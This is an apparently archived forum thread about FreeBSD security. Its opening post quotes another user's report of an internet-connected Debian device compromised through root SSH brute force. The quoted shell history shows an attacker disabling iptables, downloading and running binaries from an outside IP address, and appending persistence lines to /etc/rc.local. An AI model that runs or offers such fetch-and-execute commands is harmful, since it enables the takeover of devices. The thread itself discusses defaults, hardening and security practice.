Security on FreeBSD

B

bcomputerguy

Sometimes I google around looking for stuff on *BSD security; I know OpenBSD says it's only had a few security exploits but I've seen numerous blogs and videos claim otherwise. Such as this video
I found that video on a site that seemed to only bash *BSD.
Although it seems most of these security threat articles are pretty old, i saw some updated ones from 2016 where the FreeBSD security team made changes to the way they handle exploits or whatnot; this was around the pkg, portsnap and a few other pkg related tools.

There was even a talk about hacking the PS4 where the speaker made it seem like breaking *BSD was trivial.


I just came across this post it seems like a basic FreeBSD install would've avoided all this mess since there's no root login, problem averted.

Code: 
I am developing a consumer product, and it is supposed to be connected to the Internet, so as expected, it is connected to the Internet so that I can properly develop it.

I went away for an hour or two, and when I came back to my office I noticed some strange commands written in the terminal.

Looking at the Linux log file called auth.log I can see the following lines (amongst many more):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

The IP address 40.127.205.162 turns out to be owned by Microsoft.

Here are a bunch of commands that were used while I was away:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

And more:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

I was completely unaware of this. How can I secure my product properly?

I would like to post the complete auth.log file. How do I do that?

Also, the file yjz1 that was downloaded seems to be a Linux Trojan and all of this seems to be done by some kind of hacker group according to http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Should I call Microsoft and talk to them? What should I do?

My question is what's the state of security *BSD land.
 
You can find a video/post claiming all kinds of stuff on the internet but you have to be careful about context (and truth. Mostly truth). The FreeBSD version in one of those videos is about the PS3 and PS4 gaming consoles and may not apply anywhere else but I don't waste my time watching such things.
 
bcomputerguy said:
I am developing a consumer product, and it is supposed to be connected to the Internet, so as expected, it is connected to the Internet so that I can properly develop it.
Click to expand...
Wow the ignorance of some people. I am currently developing on RaspberryPi but in no way have my test machine directly on the internet. That is why they make upstream firewalls. Can you imagine this guy is going to sell products to consumers with no iota of what security means.. Let me guess the default password will be password. People like this give IoT a bad name.
 
One major problem with security is - most people think that security is a product; buy the product and then you have security.
This is very flawed thinking; even the most secure "product" won't help you if you leave the keys in the door.

Security is a process, and it only works when you (the owner of that process) understands what the issues and security implications of using a specific "product" (or service, technology, whatever) are, how to properly configure, use and review it.
 
tingo's remarks are bang on. If you want security then that is what you have to work towards. Nobody else can do it for you.
 
I finally read through the OP's code quote and the original post. The referenced link on superuser.com really had a good explanation of what happened. Nothing to do with the inherent security of the system but rather poor set up by the admin, in this case probably a poor root password because the password was brute forced in "an hour or so". Sad, really. Really points out that anything you expose to the Internet is subject to being pounded on by anyone on the planet.
 
And why would anybody allow root login in the first place? That is not what I would call "poor set up by the admin", but more in line with a deliberate dare.

If this is about somebody who has never before employed a server on the internet, then that's absolutely fine and excusable, but that's not a story that should have been published or quoted.
 
Sevendogs said:
I finally read through the OP's code quote and the original post. The referenced link on superuser.com really had a good explanation of what happened. Nothing to do with the inherent security of the system but rather poor set up by the admin, in this case probably a poor root password because the password was brute forced in "an hour or so". Sad, really. Really points out that anything you expose to the Internet is subject to being pounded on by anyone on the planet.
Click to expand...

This is what I was asking about. Nobody is saying or even implying that there's a totally secure OS or even security in life. My point was that with the way FreeBSD is setup, root ssh is disabled by default and a lot of other simple things that would make attacks like these almost impossible on a base setup.

I have no doubt that project on SU was some team hacking away at some @internetofshit type project.

The major responses describe steps the hacked guy could take to mitigate this whole mess, which basically sounds like; install FreeBSD and be done with it.

My original post was more along the lines of some sane defaults that FreeBSD implements to protect all users from things like this.

I know pkg and it's related things have some issues; use svn.
I know FreeBSD team can't do much other try to fail a source build if there are known exploits and the team cannot stop you from installing flash on your system.

OJ said:
And why would anybody allow root login in the first place? That is not what I would call "poor set up by the admin", but more in line with a deliberate dare.

If this is about somebody who has never before employed a server on the internet, then that's absolutely fine and excusable, but that's not a story that should have been published or quoted.
Click to expand...

twitter @internetofshit

right now a lot of those types of people making products and flooding the market with insecure devices.
 
I'm a little confused with the question and I also think tingo summed it up quite nicely. As to security and FreeBSD I think that the OS provides you with a massive set of tools which can be used to relatively easily harden your system. That never really changed to my knowledge, and only seems to get better over time.

As a small side step... It was one of the major eye openers for me when I started using FreeBSD. I still think fondly back about LIDS (link to Wikipedia page because I can't find any better sources). It was a patch for the Linux kernel which allowed you to apply limits to what users could do on your system. For example the ability to control the amount of processes one could start. At one time it actually helped me prevent major issues with a nasty defect IRC server: although the attackers could exploit it the system itself (LIDS) simply refused to spawn any more child processes.

It was an awesome product and way ahead of its time (existed around 2000 to 2013).

So then I moved to FreeBSD and discover that resource limitation is merely one of the many standard features of FreeBSD (hinting at rctl(8)) ;) That was a bit of an eye opener for me :)
 
You must log in or register to reply here.
Back
Top